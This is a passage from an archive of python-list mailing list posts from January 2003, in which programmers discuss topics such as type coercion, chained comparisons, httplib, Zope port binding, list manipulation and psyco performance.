result.  What kind of result would you get when adding an integer and a
float?  Neither Python nor VB has any problems with that  & doesn't
require a specific cast - I think that it's called 'promotion' or
something like that in VB, where 2 compatible (but different type)
arguments can be mixed and the result is in the form of the argument
with the larger 'scale'(?)

> > Older versions of VB suffered from what folks called "Evil Type
> > Coercion".  It tried to do the 'right' thing, so that 5+"5" returned
> 10
> > and 5 & "5" returned 55 (while 5+5=10 and "5"+"5"=55 as expected).
> This
> > was obviously a bad thing because it was inconsistent - better to be
> > consistent.  OTOH, I see a bit of this even in Python with the
change
> in
> > the division operator behavior (PEP 238) - should 5/2 return an
> integer
> > or a float?
>
> VB was engaging in weak typing. Python is strongly typed. In Python
you
> can't get a string to act like an integer without an explicit cast.

Agreed - and thankfully that's been corrected (in VB).  I am glad that
both are strongly typed.  Cheers,

--
Greg




From imbosol at vt.edu  Thu Jan 16 20:30:50 2003
From: imbosol at vt.edu (Carl Banks)
Date: Fri, 17 Jan 2003 01:30:50 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042765110.10945.python-list@python.org>
Message-ID: <e1JV9.2016$IZ5.977@nwrddc04.gnilink.net>

Chad Netzer wrote:
> FWIW. list.reverse() is often not too bad since it only has to do the 
> work of reversing the list indices in memory, not copying the actual 
> objects themselves.  Iterating backwards does save an O(N) operation, 
> but for small lists, list.reverse() is likely faster.

Iterating a list is an O(N) operation itself.  If .reverse() is faster
for a small list, it should also be faster for a large list.  The only
problem with .reverse() is you might want to keep the unreversed list
around.


-- 
CARL BANKS



From dsavitsk at e-coli.net  Wed Jan 22 00:35:52 2003
From: dsavitsk at e-coli.net (dsavitsk)
Date: Wed, 22 Jan 2003 05:35:52 GMT
Subject: Pythonwin Trace Collector
Message-ID: <Y4qX9.495$eZ2.351529@newssrv26.news.prodigy.com>

Hi all,

Is there a way to redirect Pythonwin's "Trace Collector Debugging tool" to a
file, or, even better, to subclass the trace collector such that the output
can be parsed before going to the file?

Thanks,

-doug





From wyojustin at hotmail.com  Sun Jan  5 21:06:29 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Sun, 5 Jan 2003 21:06:29 -0500
Subject: Source Forge CVS -- Thanks
References: <8amcnSAFceW664qjXTWcpQ@comcast.com> <d571ae53.0301050835.792a1826@posting.google.com>
Message-ID: <Lx2dnW_ojuE1eYWjXTWcqg@comcast.com>

"Jonathan Ellis" <ellisjb at my-deja.com> wrote in message
news:d571ae53.0301050835.792a1826 at posting.google.com...
> "Justin Shaw" <wyojustin at hotmail.com> wrote in message
news:<8amcnSAFceW664qjXTWcpQ at comcast.com>...
> > I have a project set up on source forge, SpellQuest,  I need to set up
the
> > CVS repository.  Can someone tell me how to do it from Windows or Linux.
> > The Sourceforge how to tells you to "log into the CVS server"  what is
that?
> > Is it different from spellquest.sf.net?  I'd appreciate the set by step
> > commands if anyone can fill them in for me.
>
> kind of a meta-answer: the best cvs front-end for windows (or linux,
> for that matter) is smartcvs.  the free version is quite good, and if
> you want the extra features in the payware version it's quite
> affordable.
>
> -Jonathan

Thanks





From ritschratsch at gmx.de  Wed Jan  8 07:18:10 2003
From: ritschratsch at gmx.de (Phillip)
Date: Wed, 8 Jan 2003 13:18:10 +0100
Subject: Doesn't work (was: Re: httplib won't accept URL with parameters (???))
References: <avcvi1$5av$03$1@news.t-online.com> <20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux> <avfgo9$clb$05$1@news.t-online.com> <20030107191323.72236889.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <avh1a0$kle$04$1@news.t-online.com>

pythonhda wrote:

> I'm using python 2.2.1
> This works for me...I get the source of the page:
 
> import httplib
> 
> USER_AGENT = "Navigator"
> 
> 
> class ServerGet:
> 
>     def __init__(self, host):
>         self.host = host
>         
>     def fetch(self, path):
>         http = httplib.HTTP(self.host)
> 
>         # write header
>         http.putrequest("GET", path)
>         http.putheader("User-Agent", USER_AGENT)
>         http.putheader("Host", self.host)
>         http.putheader("Accept", "*/*")
>         http.endheaders()
>         
>         # get response
>         errcode, errmsg, headers = http.getreply()
> 
>         
>         file = http.getfile()
>         data = file.read()
>         http.close()
>         return data

> Maybe our versions conflict? Check section 11.6.2 in the library
> reference. It is a little different from your version. I believe you're
> using an antiquated class "HTTP". The doc string for *me* says:
> 'Compatibility class with httplib.py from 1.5.'. So not being microsoft, I
> won't say "Upgrade!" :) - We're probably not speaking the same version...

I'm supecting the same since last evening. From how I interpret you I just 
need to upgrade and the same class should run, yes? Or is there something 
else to do with that new httpConnect class?
Anyway, I'll get the latest Python and tell you how it turned out. Thanks 
for the help!

-- 
Phillip



From spatel at cinci.rr.com  Mon Jan 27 00:16:25 2003
From: spatel at cinci.rr.com (spatel)
Date: Sun, 26 Jan 2003 21:16:25 -0800 (PST)
Subject: Why does int(5.0) returns 0
Message-ID: <7711969.1043644585828.JavaMail.Administrator@atp>

I know that my python is seriously broken, but recompiling it with no
optimization and compiling cvs version of python does not solve it. I am
suspecting gcc or glibc (which I have install with pentium4 and -O3
optimization) is the culprit. I am recompiling glibc and gcc to see whether
that will solve it or not.

Here is the output:

********************************************************

bash-2.05b# python             
Python 2.2.2 (#1, Jan 26 2003, 18:38:47) 
[GCC 3.2.1 20021207 (Gentoo Linux 3.2.1-20021207)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int(5.0)
0
>>> int (5)
5
>>> 





From dave at pythonapocrypha.com  Thu Jan 30 15:57:34 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Thu, 30 Jan 2003 12:57:34 -0800 (PST)
Subject: Help a C++ coder see the light
In-Reply-To: <memo.20030130181135.820C@a.radioscape.com>
References: <memo.20030130181135.820C@a.radioscape.com>
Message-ID: <Pine.LNX.4.51.0301301237230.10955@ns0.tbye.com>

On Thu, 30 Jan 2003, Mark Charsley wrote:

> I'm used to the compiler/linker giving me a lot of reassurance that my
> code works.

That's common, but in many cases it's a _false_ sense of reassurance.
Even in C++ I end up checking all uses of a refactored function despite
what the compiler says because it can catch only the simplest of problems.

> The more nasty problem is changing a function to have, say, an extra
> argument. In C++ I'd just run the code through the compiler and it would
> tell me all the places where the code needs updating.

Not necessarily; consider what happens when you change an API that has
default arguments - your compiler may or may not catch bugs that got
introduced. Here's a contrived example of changing this:

void Foo(int x, int y, int alpha=0)

to this:

void Foo(int x, int y, int z, int alpha=0)

Old calls like Foo(x,y) are flagged by the compiler, but old calls like
Foo(x,y,alpha) are not, and are bugs.

> In python I'd have to trust grep (and follow up all the cases where the
> function was assigned a new name, passed to a callback interface etc.
> and/or where the arguments are built somewhere else and just passed in
> via "apply").

In reality, in C++ _and_ Python you'd trust your test cases. :)

> As far as I can tell, the only way to have the same confidence in ones
> code as you'd get with C++ (albeit using code that might take you a lot
> longer to write), is to have unit tests that exercise absolute 100% code
> coverage. Which is dauntingly difficult to create even in a more static
> language like C++.

The law of diminishing returns applies - even if you can't get 100% code
coverage you can get the lion's share of the bugs by focusing on the more
complicated parts of the code, or on parts that have been modified the
most or most recently. Having said that though, it's tough to sleep well
at night when there's lots of holes in your testing, regardless of
language used. :)

> However there are large programs out there written in python, so it
> obviously can be done.

This discussion comes up a lot, and one aspect of it that we consistently
fail to overlook is that successful large programs have different higher
levels of coupling than small ones. The "can't use Python for large
projects" logic usually goes something like this:

"In a small program, two different functions can call function X, so
without development-type arg and type checking I have to check those two
functions if I change X. Large programs have lots of functions, so I would
have to check and possibly change a million different places. Therefore,
it's not feasible to use Python on a large project because it would take
too much maintenance and risk of breaking things is too high."

In truth, though, in a large project every function _won't_ be allowed to
call any other function, and it's usually through pretty well-defined and
limited interfaces that inter-module "communication" takes place, so
the vast majority of bug fixing, refactoring, etc. code changes are quite
local, or your system is suffering from poor design.

In the cases where refactoring of those more public interfaces is
necessary, then, yes, you do have to do a lot of work to check to make
sure nothing gets broken, but it's certainly no more work than a similar
change in a large C++ program (and that's why a lot more thought goes into
designing those interfaces in the first place).

-Dave




From tim.one at comcast.net  Tue Jan  7 20:19:39 2003
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 07 Jan 2003 20:19:39 -0500
Subject: Is it really good?
In-Reply-To: <1041987038.1368.1687.camel@software1.logiplex.internal>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEBLDHAB.tim.one@comcast.net>

[Skip Montanaro]
>>     >>> 2 == 3 is good
>> ...
>> Chained operations.  The above expression is effectively
>>
>>     (2 == 3) and (3 is good)
>

[Cliff Wells]
> This confuses me.  What is the order of operation for '==' and 'is'?

Life will be simpler if you just believe Skip <wink>.  Just as

    1 <= i <= 10

*means*

    (1 <= i) and (i <= 10)

in Python, same thing if you substitute any other comparison operators for
"<=".  "==" and "is" are two other comparison operators.

> ...
> How can (2 == 3) and (3 is good) be a possible equivalence?

The compiler goes out of its way to make it so, as it does for all chained
comparisons.  See your friendly Language Reference Manual for details
(although there's not more to it than what's already been said).





From bdusauso at skynet.be  Thu Jan  9 03:46:34 2003
From: bdusauso at skynet.be (Dusausoy Bruno)
Date: Thu, 9 Jan 2003 09:46:34 +0100
Subject: Command line arguments
Message-ID: <atcjva.cbr.ln@tu-144.dyndns.org>

Hi, 

I'd like to have a program that is called like this :

prog [OPTIONS] [FILES]

I use the getopt module for the options but i don't know how to catch
the FILES arguments. Can someone help me ?

Thanks a lot

PS :sorry for my english

-- 
Dusausoy Bruno
bruno.dusausoy at skynet.be
-= Bleue est la mer, blanche est la mort =-



From logistix at zworg.com  Tue Jan  7 01:02:32 2003
From: logistix at zworg.com (logistix)
Date: 6 Jan 2003 22:02:32 -0800
Subject: good name for a dict/list hybrid
References: <avd4ti$2jr$1@slb0.atl.mindspring.net>
Message-ID: <bdb5b58f.0301062202.9c9e12f@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<avd4ti$2jr$1 at slb0.atl.mindspring.net>...
> I have a class which I'm calling DictList.  Its used for an ordered
> dictionary which can have multiple keys, though in almost all cases
> it only has single keys.  It is ordered, so I want away to get an
> entry by position in the insertion order, which are integers.
> 
> This means I can't use integers as keys, which is not a problem.
> 
> Here's what it looks like
> 
>  >>> dl = DictList.DictList()
>  >>> dl["Name"] = "Andrew"
>  >>> dl["PubDate"] = "1975 Jun"
>  >>> dl["Lang"] = "English"
>  >>> print dl.keys()
>  ['Lang', 'Name', 'PubDate']
>  >>> print dl[0]
>  ('Name', 'Andrew')
>  >>> dl["Name"] = "Andrew Dalke"  # Duplicate entry
>  >>> dl["Name"]                   # Only gets the first entry
>  'Andrew'
>  >>> dl.getall("Name")            # Gets all "Name" entries
>  ['Andrew', 'Andrew Dalke']
>  >>> dl.allitems()
>  >>> list(dl.allitems())
> [('Name', 'Andrew'), ('PubDate', '1975 Jun'), ('Lang', 'English'), 
> ('Name', 'Andrew Dalke')]
>  >>> del dl["PubDate"]
>  >>> list(dl.allitems())
>  [('Name', 'Andrew'), ('Lang', 'English'), ('Name', 'Andrew Dalke')]
>  >>> dl.keys()
>  ['Lang', 'Name']
>  >>>
> 
> I can't figure out what to call this thing.  I chose "DictList"
> because it's a hybrid between a dictionary and a list, but that's
> a bad name since it can be confused with a dictionary of lists, or
> a list of dictionaries.
> 
> This sort of data structure must be common.  Eg, headers in email
> act like this.  (rfc822.py provides no hints for a name.)
> 
> What should I use?
> 
> Code will be posted after I get a good name.  :)
> 
> 
> 					Andrew
> 					dalke at dalkescientific.com

Something with "bucket"?
DictBuckets, KeyValBuckets?



From aahz at pythoncraft.com  Mon Jan 27 10:26:23 2003
From: aahz at pythoncraft.com (Aahz)
Date: 27 Jan 2003 10:26:23 -0500
Subject: killing thread ?
References: <mailman.1043433540.14232.python-list@python.org> <b0sipq$11356q$1@hades.rz.uni-sb.de>
Message-ID: <b13j2v$7mp$1@panix2.panix.com>

In article <b0sipq$11356q$1 at hades.rz.uni-sb.de>,
Uwe Schmitt  <uwe.schmitt at procoders.net> wrote:
>Tim Peters <tim.one at comcast.net> wrote:
>> [Jp Calderone]
>>> 
>>> It is currently not possible to write a secure sandbox in Python.
>>> I'm not sure if you can call that a bug; it's certainly unfortunate.
>>
>> Just curious: does there exist a programming language in which it is
>> possible do this?  If so, who guarantees it, and via what kind of
>> validation process?
>
>AFAIK ruby does it.

What exactly does Ruby do?  Allow forced shutdown of threads?  No way;
Ruby uses cooperative threading that's even more restrictive than
Python's.  Have a secure sandbox?  Then Tim's question applies with
force: who guarantees the secure sandbox, and what validation proves
this guarantee?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From lac at strakt.com  Thu Jan 23 12:38:15 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 23 Jan 2003 18:38:15 +0100
Subject: Best SMTP/POP library? 
In-Reply-To: Message from "Robert Oschler" <Oschler@earthlink.net> 
   of "Thu, 23 Jan 2003 06:51:21 GMT." <JhMX9.441$0L3.173271@news2.news.adelphia.net> 
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <mailman.1043252741.1779.python-list@python.org> <LtEX9.134$0L3.63489@news2.news.adelphia.net> <mailman.1043290900.16874.python-list@python.org> <JhMX9.441$0L3.173271@news2.news.adelphia.net> 
Message-ID: <200301231738.h0NHcFjL023188@ratthing-b246.strakt.com>

> 
> "Skip Montanaro" <skip at pobox.com> wrote in message
> news:mailman.1043290900.16874.python-list at python.org...
> >     >> http://spambayes.sf.net/
> >
> >
> > Yes, a release is in the works and should be appearing soon.  Keep an eye
> on
> > the website.
> >
> > (Is there a reason you have an email address which looks like it ought to
> > work, but never does?)
> >
> > Skip
> >
> >
> 
> Thanks.  Regarding my email address, yes, it's anti-spam.  If found that
> even with 'munged' addresses (remove obvious garbage and it becomes a real
> address), I got spam.  Now I get none.
> 
> thx

I appreciate that you don't want to leave your real address in any
form which the spammers can use, but would it be possible to send out
your mail as coming from some address which makes it obvious to humans
such as Skip and myself that you don't exist?  My problem is that
since this is a mailing list as well as a newsgroup, and I read it by
mail, when I want to comment privately on anything you say I will send
it to you as a piece of mail, and if I want to comment publicly, I
will still send you a piece of mail, cc'd to python-list at python.org.

Now, usually I read send addresses before I begin to write, and when I
find something like nobody at nowhere.com as a send address I know that
this is about to fail.  I can then check the message to see if there is a
real address left there to decode.  If there isn't, I can decide
whether to just send to python-list or whether just to skip it.  But
if it looks good, I send it out, and then, when it fails, I
investigate why the mail fails.

All of this takes time, and adds to the subjective weight that I feel
when I consider 'do I want to take the time out right now to help
somebody I don't know with their problem'.  The more times I get
burned spending a morning discovering that somebody doesn't exist,
the less trusting I am, and the less willing I am to do this.

You might think, ah well, why doesn't she just ignore mail that
bounces when she sends mail to python-list.  That is not a good option
for me because in this last week I have tracked down and found bugs in
the mail programs of 3 legitimate python users, whose mailers were
configured in such a way as to prevent people like me from reaching
them, and who were unaware that they had such a problem.  They are
very grateful that I bothered to track them down and find out what the
score was.

So could I prevail on you to change your mail address to something that
is more obviously not worth sending a reply to?

Thank you for listening,
Laura Creighton




From acid_til at yahoo.com  Thu Jan 30 09:54:56 2003
From: acid_til at yahoo.com (Luc)
Date: Thu, 30 Jan 2003 09:54:56 -0500
Subject: HOWTO : Py_CompileString !?!?!
In-Reply-To: <mailman.1043883709.25362.python-list@python.org>
References: <v4WZ9.3245$nD1.766715@news20.bellglobal.com> <mailman.1043883709.25362.python-list@python.org>
Message-ID: <OXa_9.4120$nD1.943639@news20.bellglobal.com>

Jp Calderone wrote:
> On Wed, Jan 29, 2003 at 02:43:38PM -0500, Luc wrote:
> 
>>Hello fellow python user :)
>>
>>I'm quite new to this so please be kind to my newbie question !!!
>>
>>I'm trying to embed python in my C++ application. I have a python source 
>>file names test.py and what I want to do is first try to compile it to 
>>see if any syntax error or import error occurs.  I tried to use 
>>Py_CompileString but it seems not to work. I added a syntax error and it 
>>still report no error. Now I just thought that because it's interpreted, 
>>does it mean that the error is caught until the script is actually run 
>>??? If so, is there any method that I could use to detect such error 
>>without resorting to running the script ???
>>
> 
> 
>   It's impossible to say what's going wrong without seeing at least a
> minimal sample of your code.  Can you post the shortest snippet possible
> that completely duplicates the behavior you believe to be incorrect?  If so,
> we can look at it and point out in particular where your expectations don't
> coincide with the actual behavior.
> 
>   Jp
> 

Of course,

Here is the script in question :

import FOMath
#FOMath has a method called PointValue()
def test():
	print FOMath.PointdddValue()

test()

This should't compile because a syntax error is present...

The way I compile the code from C++ is done like so :

//str contains the file that just loaded...
Py_CompileString((char*)str.c_str(), "<test.py>", Py_file_input);

That's it. It's the way I tought was proper. Might be wrong, that's why 
I posted in this group :)

Cheers, Luc.




From peter at engcorp.com  Tue Jan 14 17:39:03 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Jan 2003 17:39:03 -0500
Subject: Zope on Port 80
References: <a8baab8f.0301141418.f54cfe2@posting.google.com> <3E2490BB.FC466094@engcorp.com>
Message-ID: <3E249187.E2FAF83C@engcorp.com>

Peter Hansen wrote:
> 
> Elias Ponvert wrote:
> >
> > Apologies if this is a FAQ, I've not seen it anywhere.
> >
> > Is there any reason _not_ to run Zope on port 80 of, say,
> > mymachine.foo.com? Assume that I'm OK with mymachine only running
> > Zope. Are there other reasons? Security? Caching?
> 
> A process has to be root, at least initially, to bind to port 80 (or
> any port below 1024) under Linux.  That in itself might pose security
> risks for you.

I should note that the way in which Zope switches from root to,
say, nobody, if you've configured it that way, appears to involve
a race condition which can, under the right circumstances, break
the setuid switching that happens.

We have a product which starts up some new tasks.  Zope actually
imports and registers each product *before* it switches from being
"root", and in at least one instance which we've currently had to
work around, starting up our own task meant that none of the
threads switched to be "nobody".  

By the way, there are Zope mailing lists which are probably a 
better place to ask such questions.  Check on the www.zope.org
site for details.

-Peter



From tatsujin at despammed.com  Wed Jan 15 13:57:43 2003
From: tatsujin at despammed.com (=?ISO-8859-1?Q?Andr=E9_Jonsson?=)
Date: Wed, 15 Jan 2003 19:57:43 +0100
Subject: Performance penalty for using classes?
References: <33803989.0301120004.76e09b9a@posting.google.com> <33803989.0301142350.1af9e278@posting.google.com>
Message-ID: <3E25AF27.6090405@despammed.com>

Seems to me that the C program is almost 10 times faster...


Miki Tebeka wrote:
> Hello All,
> 
> Thanks for your help.
> Looks like the winning combination will be struct + psyco + 2.3 which
> <AMAZING> runs faster than the c test (compiled with -O3) </AMAZING>
> 
> [09:37] $time ./struct_test_psyco.py 
> Going 100000 iterations
> * Done
> real 0.25
> user 0.25
> sys 0.00
> [09:37] $time ./c_t
> c_test    c_test.c  
> [09:37] $time ./c_test
> Going 1000000 iterations
> * Done
> real 0.34
> user 0.29
> sys 0.04
> 
> Miki
> 
> --- c_test.c ---
   *snip*
> int
> main(int argc, char *argv[])
> {
> 	long iterations = 1000000;
> 	if (argc > 1) {
> 		iterations = atol(argv[1]);
> 	}
> 
> 	printf("Going %ld iterations\n", iterations);
> 	fflush(stdout);
> 	test_c(iterations);
> 	printf("* Done\n");
> 
> 	return 0;
> }
> --- c_test.c ---
> --- struct_test_psyco.py ---
*snip*
> if __name__ == '__main__':
>     from sys import argv, stdout
>     if len(argv) > 1:
>         iterations = long(argv[1])
>     else:
>         iterations = 100000
> 
>     import psyco
>     for func in (make_dot, dot_x, dot_set_x, dot_y, dot_set_y, test_struct):
>         psyco.bind(func)
>     print 'Going %d iterations' % iterations
>     stdout.flush()
>     t = test_struct(iterations)
>     print '* Done'
> --- struct_test_psyco.py ---






From mwh at python.net  Wed Jan 15 12:11:12 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 17:11:12 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
Message-ID: <7h3vg0qpcc0.fsf@pc150.maths.bris.ac.uk>

"Edward K. Ream" <edream at tds.net> writes:

> Would anyone care to enlighten me how MinimalPython will achieve its stated
> goals?

I sent this is private email (following a different micro-subthread),
but I don't think anyone else has said it yet:

Weeeeellll, this is the thing that gets me jumping-up-and-down-excited    
about things like psyco: pysco has MORE information than the C compiler to
work with: while the C compiler only knows the algorithm to run, psyco
knows both the algorithm *and the data it is to run on*.  Obviously, this
approach only wins if what you do next resembles what you did last, but I
think CPU caches have proved there is some mileage in that idea :)

(actually CT has said something similar, but I don't care :)

Cheers,
M.

-- 
  Java is a WORA language! (Write Once, Run Away)
                	-- James Vandenberg (on progstone at egroups.com)
                           & quoted by David Rush on comp.lang.scheme



From peter at engcorp.com  Fri Jan 24 09:10:23 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 09:10:23 -0500
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2F9732.795D5FD3@alcyone.com> <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net> <3E308B05.913B1180@alcyone.com> <M87Y9.355$U27.35796@newsread2.prod.itd.earthlink.net>
Message-ID: <3E31494F.2EF15840@engcorp.com>

Terry Hancock wrote:
> 
> Erik Max Francis wrote:
> > Terry Hancock wrote:
> >> >>> for k,v in kv:
> >> ...     print "%s\t%5d\t%5.1f%%" % (k, v, (float(v)/sum)*100)
> >
> > It's tempting to scale them all as a percentage of a total, but it has a
> > lie-with-statistics flaw:  If you add more languages, it looks like the
> > ratings of all the others go down, even though that isn't the case.
> 
> Yeah, maybe I should've mentioned that -- one might try to think of these
> numbers as being percentages of "all software development pages", but of
> course, they're not. It's just a percentage of the pages listed.  It might
> make more sense to scale relative to one representative member. But which
> one?

Why, Python, of course!  Set it to "1", let the others fall where they may.



From bub at joos.us  Wed Jan 15 12:49:16 2003
From: bub at joos.us (Bubba)
Date: Wed, 15 Jan 2003 17:49:16 GMT
Subject: Newbie How do I get Calendar input from the PythonCard component  Calendar?
References: <8d5b2v04bdpfii53kd9dhealllvvvm399k@4ax.com> <3E259B20.D0B4DA75@engcorp.com>
Message-ID: <9n7b2v0m7nutk2q23t7va4csadgjf9hdjv@4ax.com>

On Wed, 15 Jan 2003 12:32:16 -0500, Peter Hansen <peter at engcorp.com>
wrote:
I'm using the minimal app as a strating point. Added the calendar to
it. My latest attemp follows. This doesn't result in errors, but no
input
class Calendar(model.Background):

   def on_menuFileExit_select(self,event):
     self.Close()
   def on_incrBtn_mouseClick(self, event):
     startValue = int(self.components.field1.text)
     endValue = startValue + 1
     print endValue
     self.components.field1.text = str(endValue) 
   def on_decrBtn_mouseClick(self, event):
     startValue = int(self.components.field1.text)
     endValue = startValue - 1
     self.components.field1.text = str(endValue)
   def on_resetBtn_mouseClick(self, event):
     startValue = int(self.components.field1.text)
     self.components.field1.text = "0"
   def on_calValue_mouseClick(self, event):
     startValue = int(self.components.calValue.text)
     print startValue
     self.components.field1.text = startValue
     print startvalue  
>Bubba wrote:
>> 
>> Tried many wasy all result in errorrs
>
>Hmmm.... if you can post a few examples of your attempts, pasted
>from the interactive interpreter, helping you out will be a lot
>easier.
>
>-Peter




From just at xs4all.nl  Thu Jan 30 10:28:09 2003
From: just at xs4all.nl (Just)
Date: Thu, 30 Jan 2003 16:28:09 +0100
Subject: McMillan installer on OS X
References: <b68f71a7.0301300622.5d13c136@posting.google.com>
Message-ID: <just-374809.16280930012003@news1.news.xs4all.nl>

In article <b68f71a7.0301300622.5d13c136 at posting.google.com>,
 alan_salmoni at yahoo.com (Alan James Salmoni) wrote:

> Has anyone tried using the McMillan installer on MacIntosh OSX, and if
> so, with what degree of success?

I tried and it seems to work, but it needs a patch: on OSX there's no 
"ldd" program. In bindepend.py, replace

    os.system('ldd "%s" >%s' %(pth, tmpf))

with

    os.system('otool -L "%s" >%s' %(pth, tmpf))

(I forwarded this to Gordon but I'm not sure whether he incorporated in 
a new release. I don't even know whether there was a release since I 
tried.)

I haven't used it extensively, let alone in production, so I can't 
really tell how well it works.

Just



From fuf at mageo.cz  Thu Jan  9 02:41:27 2003
From: fuf at mageo.cz (Michal Vitecek)
Date: Thu, 9 Jan 2003 08:41:27 +0100
Subject: global variable not seen (bug?)
In-Reply-To: <20030108155101.GA8856@foof.i3.cz>
References: <20030108155101.GA8856@foof.i3.cz>
Message-ID: <20030109074127.GC8922@foof.i3.cz>

 hello everyone again,

 i wanted to thank you all for your responses and spent time - you're
 great in here! :)

-- 
		fuf		(fuf at mageo.cz)




From jack at performancedrivers.com  Tue Jan  7 18:36:05 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Tue, 7 Jan 2003 18:36:05 -0500
Subject: moving items in a list
In-Reply-To: <JHEOKEOOLIGLDHCMAHMOOEKEFIAA.mark@mceahern.com>; from mark@mceahern.com on Tue, Jan 07, 2003 at 03:30:07PM -0600
References: <JHEOKEOOLIGLDHCMAHMOOEKEFIAA.mark@mceahern.com>
Message-ID: <20030107183605.A2229@localhost.localdomain>

On Tue, Jan 07, 2003 at 03:30:07PM -0600, Mark McEahern wrote:
> Below is some code and unit tests to demonstrate how I'm moving items in a
> list.  It works, but I'm sure I'll learn a lot by any feedback you care to
> offer.
> 
> """
> move 'up' means move the item once towards the first item.
> 
> """

Here are a few examples of move_up, most of them useless and pedantic.
The simple one is faster than your example, some of the others are 50%
slower and abuse language features.

enjoy,

-jack
    
def move_up(l, m):
    """Simple move_up, no frills, pretty quick"""
    for i in range(1,len(l)):
        if l[i] in m:
            # slower (but more pythonic?) than using a swap temporary
            l[i-1:i+1] = [l[i], l[i-1]]
        
def move_up_redux(l, m):
    """Use reduce() and a function to fool around"""
    def redux(anchor, ele):
        if anchor and ele in m:
            anchor[-1:] = [ele, anchor[-1]]
        else:
            anchor.append(ele)
        return anchor
    l[:] = reduce(redux, l, []) # replace the entire contents of l

def move_up_sort(l, m):
    """Highly dependent on the implementation of sort(), I'm afraid"""
    seen = {}
    cmpd = {}
    def crazysort(a, b):
        if (a in m and b not in m):
            if (a in seen and seen[a] == b):
                ret = -1
            elif (a not in seen and b not in cmpd):
                seen[a] = b
                ret = -1
            else:
                cmpd[b] = 1
                ret = 0
        else:
            cmpd[b] = 1
            ret = 0
        return ret
    l.sort(crazysort)

def move_up_spans(l, m):
    """don't do pair assignments, see if we can collect a run to move
    all at once"""
    guy = None
    pos = None
    i = 1
    while (i < len(l)):
        if (guy is None):
            if (l[i] in m):
                guy = l[i-1]
                pos = i - 1
            else:
                i += 1
        else:
            if (l[i] not in m):
                l[pos:i] = l[pos+1:i] + [guy]
                guy = None
            else:
                i += 1
    if (guy is not None):
        l[pos:i] = l[pos+1:i] + [guy]




From peter at engcorp.com  Thu Jan  2 11:19:09 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 11:19:09 -0500
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <av1o0i$h7e$1@panix2.panix.com>
Message-ID: <3E14667D.F95C1B5B@engcorp.com>

Roy Smith wrote:
> 
> I know what XP is, but what are PSP, SEI, TDD, and SAPDB?

Personal Software Process, Software Engineering Institute,
Test-Driven Development, and Some Acronym Peter Doesn't Believe ....

Actually, that last one is a mystery to me too. :-)

> I tried Google, but it wasn't much help.  I assume the PSP you're
> referring to isn't Paint Shop Pro, Progressive Supranuclear Palsy, or
> the Pennsylvanie State Police.

Look for that PSP at the SEI's web page: http://www.sei.cmu.edu/

-Peter



From cgjunkaddr at attbi.com  Fri Jan 24 02:27:49 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Fri, 24 Jan 2003 07:27:49 GMT
Subject: UPDATE: kobra .NET for Python
Message-ID: <VV5Y9.15570$VU6.16891@rwcrnsc52.ops.asp.att.net>

I have updated the "kobra" module to be more user friendly and added some
more features like limited support for arbitrary types in method calls.

Regards
Chetan Gadgil
cgjunkaddr at attbi dot com
chetangadgil at hotmail dot com

Here's an example session:

Usage

g>c:/Python22/python
Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import kingkobra
>>> x = kingkobra.createObject("System.Xml", "System.Xml.XmlDocument")
kobra - A Python Wrapper for .NET
Copyright (C) 2003 Chetan Gadgil (chetan at gadgil dot net)
All Rights Reserved
>>> x.LoadXml("<hello>Good, this works!</hello>")
None
>>> y = x.CreateNavigator()
>>> y.ToString()
'Good, this works!'
>>>

Explanation

>>> import kingkobra

Import the beast.

>>> x = kingkobra.createObject("System.Xml", "System.Xml.XmlDocument")

Create a new System.Xml.XmlDocument object from the System.Xml.dll
Note that you can load any of your own .Net dlls. Just give the correct
absolute or relative path.

>>> x.LoadXml("<hello>Good, this works!</hello>")

Call the LoadXml method with a string arg. Currently tested args are int,
String, float, and String[]. However, a complex type should also work in an
arg.

>>> y = x.CreateNavigator()

Call "CreateNavigator()" on the XmlDocument object

>>> y.ToString()
'Good, this works!'
>>>

Future plans

Support calling into Python from .Net. e.g. callbacks etc. I have some ideas
on how to do this, but have not thought through in detail.


Applications

A .NET testing framework. You can script your own test cases with this
library, in conjunction with the "unittest" module of Python.





From robin at jessikat.fsnet.co.uk  Sun Jan 12 05:29:31 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sun, 12 Jan 2003 10:29:31 +0000
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com>
Message-ID: <cQ3mjJALOUI+EwD3@jessikat.fsnet.co.uk>

In article <3E20CA0F.E2C07F4E at engcorp.com>, Peter Hansen
<peter at engcorp.com> writes
>Martin Christensen wrote:
>> 
>> Python usually uses copy-by-reference. This is all good and well, but
>> sometimes we want copy-by-value. For a long time now I've been using
>> copy() or deepcopy(), depending on the circumstances, from the copy
>> module. Is there no more simple and elegant way of doing this? It
>> seems strange that one should have to import a module to so something
>> as simple as a copy-by-value. 
